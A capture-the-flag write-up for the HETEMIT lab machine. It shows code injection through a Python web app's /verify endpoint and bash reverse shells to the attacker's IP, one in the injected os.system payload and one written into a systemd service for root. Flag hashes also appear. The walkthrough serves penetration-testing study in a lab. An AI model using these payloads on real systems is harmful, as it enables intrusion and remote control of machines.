Summary #
On port 50000 there is an Werkzeug/1.0.1 Python/3.6.8 application. There is an endpoint vulnerable for remote code execution and allows us to get initial access as the cmeeks
user. Once on the target we can write and edit the /etc/systemd/system/pythonapp.service
file, use sudo to reboot the target and get access as the root
user.
Specifications #
- Name: HETEMIT
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux hetemit 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.142.117
- OFFSEC provided credentials: None
- HASH:
local.txt
:1a48557060ef9864d156a3af6319eee4
- HASH:
proof.txt
:4841e2ec8c38071e631ed180175b4749
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir hetemit && cd hetemit && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 27 16:00 .
drwxrwxr-x 79 kali kali 4096 Sep 27 16:00 ..
drwxrwxr-x 2 kali kali 4096 Sep 27 16:00 enum
drwxrwxr-x 2 kali kali 4096 Sep 27 16:00 exploits
drwxrwxr-x 2 kali kali 4096 Sep 27 16:00 files
drwxrwxr-x 2 kali kali 4096 Sep 27 16:00 tools
drwxrwxr-x 2 kali kali 4096 Sep 27 16:00 uploads
## set bash variable
ip=192.168.142.117
## ping target to check if it's online
ping $ip
PING 192.168.142.117 (192.168.142.117) 56(84) bytes of data.
64 bytes from 192.168.142.117: icmp_seq=1 ttl=61 time=22.8 ms
64 bytes from 192.168.142.117: icmp_seq=2 ttl=61 time=22.6 ms
^C
--- 192.168.142.117 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 22.629/22.698/22.767/0.069 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TCP handshake? More like a friendly high-five!
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.142.117:21
Open 192.168.142.117:22
Open 192.168.142.117:80
Open 192.168.142.117:139
Open 192.168.142.117:445
Open 192.168.142.117:18000
Open 192.168.142.117:50000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 16:04 CEST
Initiating Ping Scan at 16:04
Scanning 192.168.142.117 [4 ports]
Completed Ping Scan at 16:04, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:04
Completed Parallel DNS resolution of 1 host. at 16:04, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:04
Scanning 192.168.142.117 [7 ports]
Discovered open port 445/tcp on 192.168.142.117
Discovered open port 139/tcp on 192.168.142.117
Discovered open port 22/tcp on 192.168.142.117
Discovered open port 80/tcp on 192.168.142.117
Discovered open port 21/tcp on 192.168.142.117
Discovered open port 50000/tcp on 192.168.142.117
Discovered open port 18000/tcp on 192.168.142.117
Completed SYN Stealth Scan at 16:04, 0.06s elapsed (7 total ports)
Nmap scan report for 192.168.142.117
Host is up, received echo-reply ttl 61 (0.023s latency).
Scanned at 2025-09-27 16:04:22 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
18000/tcp open biimenu syn-ack ttl 61
50000/tcp open ibm-db2 syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 11 (460B) | Rcvd: 8 (336B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
18000/tcp open biimenu syn-ack ttl 61
50000/tcp open ibm-db2 syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
21,22,80,139,445,18000,50000
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,139,445,18000,50000 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.160
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH2Cap49zuKy70lHzXsOn9iOap0h1Dnwk14D6PNKugueOqGpYoffwCGCA0wF4cI3+MRjuHz4xGznmtTIP3vOBZINZvT5PsNcvu6ef0SDfDOMFbzsEirhpQuoBYvgmEuJ4u1VMiwNaYQ0jw9t+nsR2MAIym/wdKt+ghYm4qlB3WvLMV41uCu0F7OQadRX8GWrLWLucjSQ1f80tkV7mc7ZfuTm8YdsAOkNQufHkVE+Alk0NpHdqLh/6FHxmEqYwP0jX6HS/lg+MfczIbIQ91v7+ljvo3qgdSZPqqulUtQuj/Rb/gmIfItzFZIxTzLQ6FuKKmoTMXaR/tXf93+91z+kBdDaZe/5eu6fLCdGuFyioB97LdZGJq8uFbM0BpNeBYc0i/DOFwxWBhO8/zzv1uaTUKuS1B+bny1iUTiQoJj6GVRQmvgk/2Km5SanF3Cp4PSSJMQ112Umjg1T61ah/i//KXAyZ25xOznolBw/aoCc9cremrkycUp7dmuATBNCgHFS0=
| 256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPTMpDGmoKZ96W+Ivvw7sQmnD1U41OY34oAzJ5Z1/AP/iVj+TpKO6lCKPxDq+9nbJJU4dtQx8X+KjQqUtpYIUhw=
| 256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEUnTSrfkvL2AJJsozjPtXIWf/6Z7UB9WptTiOOX93m4
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.37 ((centos))
|_http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4
18000/tcp open biimenu? syn-ack ttl 61
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| GetRequest, HTTPOptions:
| HTTP/1.0 403 Forbidden
| Content-Type: text/html; charset=UTF-8
| Content-Length: 3102
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8" />
| <title>Action Controller: Exception caught</title>
| <style>
| body {
| background-color: #FAFAFA;
| color: #333;
| margin: 0px;
| body, p, ol, ul, td {
| font-family: helvetica, verdana, arial, sans-serif;
| font-size: 13px;
| line-height: 18px;
| font-size: 11px;
| white-space: pre-wrap;
| pre.box {
| border: 1px solid #EEE;
| padding: 10px;
| margin: 0px;
| width: 958px;
| header {
| color: #F0F0F0;
| background: #C52F24;
| padding: 0.5em 1.5em;
| margin: 0.2em 0;
| line-height: 1.1em;
| font-size: 2em;
| color: #C52F24;
| line-height: 25px;
| .details {
|_ bord
50000/tcp open http syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.6.8)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.8
<SNIP>
Service Info: OS: Unix
Host script results:
| smb2-time:
| date: 2025-09-27T14:47:48
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 44077/tcp): CLEAN (Timeout)
| Check 2 (port 43773/tcp): CLEAN (Timeout)
| Check 3 (port 29704/udp): CLEAN (Timeout)
| Check 4 (port 24957/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Initial Access #
50000/tcp open http syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.6.8)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.8
On port 50000 there is an Werkzeug/1.0.1 Python/3.6.8
application. Browsing to this application (http://192.168.142.117:50000
) we find in the response a list of endpoint, namely: /generate
and /verify
.

When we browse to the verify endpoint (http://192.168.142.117:50000/verify
), we get a {'code'}
response.

We start BURP to get more details on the request/response. So, intercept the request to this endpoint and send it to the repeater tab. Once in the repeater tab change the intecepted request to a POST and add the code
parameter with the example: 4*4
. This gives a response of 16
, so we have some form of code execution.

To see if we can perform any OS commands and because it’s Python, we’ll use os.system
(https://docs.python.org/3/library/os.html#os.system). First, let’s ping ourselves so we can verify we have OS command execution. As data in the POST request set the URL encoded os.system command: code=os.system("os.system("ping+-c+1+192.168.45.160")
. Once we click on Send
we indeed get an ICMP echo in tcpdump
. So we have OS command execution. Now we can change the code
parameter to this URL encoded command: os.system("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.45.160/80+0>%261'")
, to get initial access as the cmeeks
user in the /home/cmeeks/restjson_hetemit
directory.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## setup `tcpdump` to listen for pings on the tun0 interface
sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
## catch the ICMP echo
sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:04:59.703696 IP 192.168.142.117 > 192.168.45.160: ICMP echo request, id 2356, seq 1, length 64
17:04:59.703718 IP 192.168.45.160 > 192.168.142.117: ICMP echo reply, id 2356, seq 1, length 64
## setup a listener on an already open port
nc -lvnp 80
listening on [any] 80 ...
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.142.117] 44494
bash: cannot set terminal process group (1395): Inappropriate ioctl for device
bash: no job control in this shell
[cmeeks@hetemit restjson_hetemit]$
## print the current working directory
[cmeeks@hetemit restjson_hetemit]$ pwd
/home/cmeeks/restjson_hetemit
## find `local.txt` on the filesystem
[cmeeks@hetemit restjson_hetemit]$ find / -iname 'local.txt' 2>/dev/null
/home/cmeeks/local.txt
## print `local.txt`
[cmeeks@hetemit restjson_hetemit]$ cat /home/cmeeks/local.txt
1a48557060ef9864d156a3af6319eee4
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## change directory
[cmeeks@hetemit restjson_hetemit]$ cd /var/tmp
[cmeeks@hetemit tmp]$
## download `linpeas.sh` using the open port 8080
[cmeeks@hetemit tmp]$ wget http://192.168.45.160/linpeas.sh
--2025-09-27 15:18:15-- http://192.168.45.160/linpeas.sh
Connecting to 192.168.45.160:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 939.29K 4.64MB/s in 0.2s
2025-09-27 15:18:15 (4.64 MB/s) - ‘linpeas.sh’ saved [961834/961834]
## set the execution bit
[cmeeks@hetemit tmp]$ chmod +x linpeas.sh
## run `linpeas.sh`
[cmeeks@hetemit tmp]$ ./linpeas.sh
The linpeas.sh
output shows we have write permissions over /etc/systemd/system/pythonapp.service
. Checking our sudo privileges we see we are also able to run /sbin/reboot
to reboot the target and, also all services. So, we can edit the /etc/systemd/system/pythonapp.service
to escalate our privileges to the root
user after a reboot.
## verify we have write permissions
cmeeks@hetemit tmp]$ ls -la /etc/systemd/system/pythonapp.service
-rw-rw-r-- 1 root cmeeks 302 Nov 13 2020 /etc/systemd/system/pythonapp.service
## list sudo privileges
[cmeeks@hetemit tmp]$ sudo -l
Matching Defaults entries for cmeeks on hetemit:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User cmeeks may run the following commands on hetemit:
(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160
## edit the `/etc/systemd/system/pythonapp.service` file to this content:
[cmeeks@hetemit tmp]$ cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.160/80 0>&1'
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure
[Install]
WantedBy=multi-user.target
## setup a listener
nc -lvnp 80
listening on [any] 80 ...
## reboot the target using sudo
[cmeeks@hetemit tmp]$ sudo /sbin/reboot
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.142.117] 38622
bash: cannot set terminal process group (1123): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]#
## print `proof.txt`
[root@hetemit restjson_hetemit]# cat /root/proof.txt
4841e2ec8c38071e631ed180175b4749
References #
[+] https://docs.python.org/3/library/os.html#os.system
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh